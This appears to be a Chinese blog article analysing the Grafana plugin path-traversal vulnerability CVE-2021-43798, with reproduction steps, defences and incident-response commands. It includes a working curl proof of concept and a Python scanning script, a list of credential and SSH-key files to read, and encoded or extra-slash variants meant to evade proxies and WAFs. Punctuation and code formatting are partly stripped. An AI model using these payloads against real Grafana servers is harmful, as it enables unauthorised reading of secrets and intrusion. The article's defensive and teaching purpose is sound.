Grafana 插件模块目录穿越漏洞(CVE-2021-43798)深度解析与防御实践

张开发
2026/4/16 1:36:13 15 分钟阅读

分享文章

Grafana 插件模块目录穿越漏洞(CVE-2021-43798)深度解析与防御实践
1. Grafana目录穿越漏洞深度解析Grafana作为当前最流行的开源可视化监控平台在2021年底曝出的CVE-2021-43798漏洞引发了广泛关注。这个漏洞本质上是个典型的目录穿越漏洞Directory Traversal但特殊之处在于它通过插件模块这个看似安全的入口实现了攻击突破。我在实际渗透测试中发现该漏洞最危险的特点是完全不需要任何身份认证。攻击者只需构造特定的HTTP请求路径就能直接读取服务器上的敏感文件。比如通过构造/public/plugins/alertlist/../../../../../../../../etc/passwd这样的URL就能轻松获取系统用户列表。1.1 漏洞核心原理问题的根源在于Grafana处理插件静态资源请求时的路径校验逻辑。当请求/public/plugins/[插件名]/[资源路径]时系统会执行以下操作拼接基础路径/var/lib/grafana/public/plugins/直接附加用户输入的相对路径未对../进行过滤就执行文件读取用个生活场景类比就像酒店前台收到请把308房间的../财务室/保险箱钥匙给我这样的请求未经核实就直接执行了。1.2 受影响版本范围根据官方公告受影响的具体版本包括Grafana 8.0.0-beta1 至 8.0.7Grafana 8.1.0 至 8.1.8Grafana 8.2.0 至 8.2.7Grafana 8.3.0特别需要注意的是使用Docker部署时如果直接拉取latest标签很可能就会中招。我在测试环境中用以下命令复现时就遇到了这个问题docker pull grafana/grafana:8.2.5 docker run -d -p 3000:3000 grafana/grafana:8.2.52. 漏洞复现实战演示2.1 基础环境搭建建议使用以下配置快速搭建测试环境# 使用Vulhub的现成环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/grafana/CVE-2021-43798 docker-compose up -d启动后访问http://your-ip:3000就能看到Grafana登录界面此时系统已处于漏洞状态。2.2 手工验证POC最直接的验证方式是使用curl命令curl -v http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd如果返回root:x:0:0:root:/root:/bin/bash等用户信息说明漏洞存在。我在实际测试中发现不同插件名称的成功率有差异推荐按这个顺序尝试alertlistdashlistgraphprometheus2.3 自动化检测工具对于批量检测场景可以使用开源的检测脚本import requests plugins [alertlist,dashlist,graph,prometheus] for plugin in plugins: url fhttp://target:3000/public/plugins/{plugin}/../../../../../../../../etc/passwd resp requests.get(url) if root: in resp.text: print(f[] Vulnerable via {plugin}) break3. 漏洞利用进阶技巧3.1 敏感文件枚举除了常见的/etc/passwd以下文件往往包含高价值信息/etc/grafana/grafana.ini含数据库密码/var/lib/grafana/grafana.dbSQLite数据库/proc/self/environ环境变量/root/.ssh/id_rsaSSH私钥我在某次渗透测试中就是通过读取grafana.ini文件获得了数据库凭证进而拿到了整个监控系统的控制权。3.2 绕过特殊场景当遇到以下情况时可以尝试这些变种Payload反向代理场景使用URL编码的..%2f替代..//public/plugins/alertlist/..%2f..%2f..%2fetc/passwdWAF拦截场景增加多余的斜杠/public/plugins/alertlist///../../../../etc/passwd4. 全面防御方案4.1 官方修复方案Grafana官方在8.0.7、8.1.8、8.2.7和8.3.1版本中修复了该漏洞。升级命令示例# Docker环境 docker pull grafana/grafana:8.3.1 docker-compose down docker-compose up -d # Ubuntu环境 sudo apt update sudo apt install --only-upgrade grafana4.2 临时缓解措施如果无法立即升级可以采用以下方案方案一Nginx反向代理过滤location ~ /public/plugins/ { if ($request_uri ~* \.\.) { return 403; } proxy_pass http://grafana:3000; }方案二网络层控制# 只允许管理IP访问Grafana iptables -A INPUT -p tcp --dport 3000 -s 10.0.0.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 3000 -j DROP4.3 安全加固建议根据我在企业环境中的实战经验建议额外实施启用Grafana的强制HTTPS配置适当的访问控制策略定期审计插件权限对/public/plugins目录设置只读权限5. 事件响应与取证当发现漏洞被利用后建议立即执行以下操作保留现场证据# 保存当前网络连接 netstat -tulnp netstat.log # 保存进程快照 ps aux ps.log检查异常文件访问# Linux系统检查最近访问的文件 find /var/lib/grafana -type f -atime -1 -ls数据库审计-- 检查grafana数据库中的异常会话 SELECT * FROM user_auth_token WHERE created datetime(now,-1 day);在多个企业应急响应案例中我们发现攻击者往往会尝试读取Kubernetes的/var/run/secrets目录获取集群凭证这点需要特别关注。

更多文章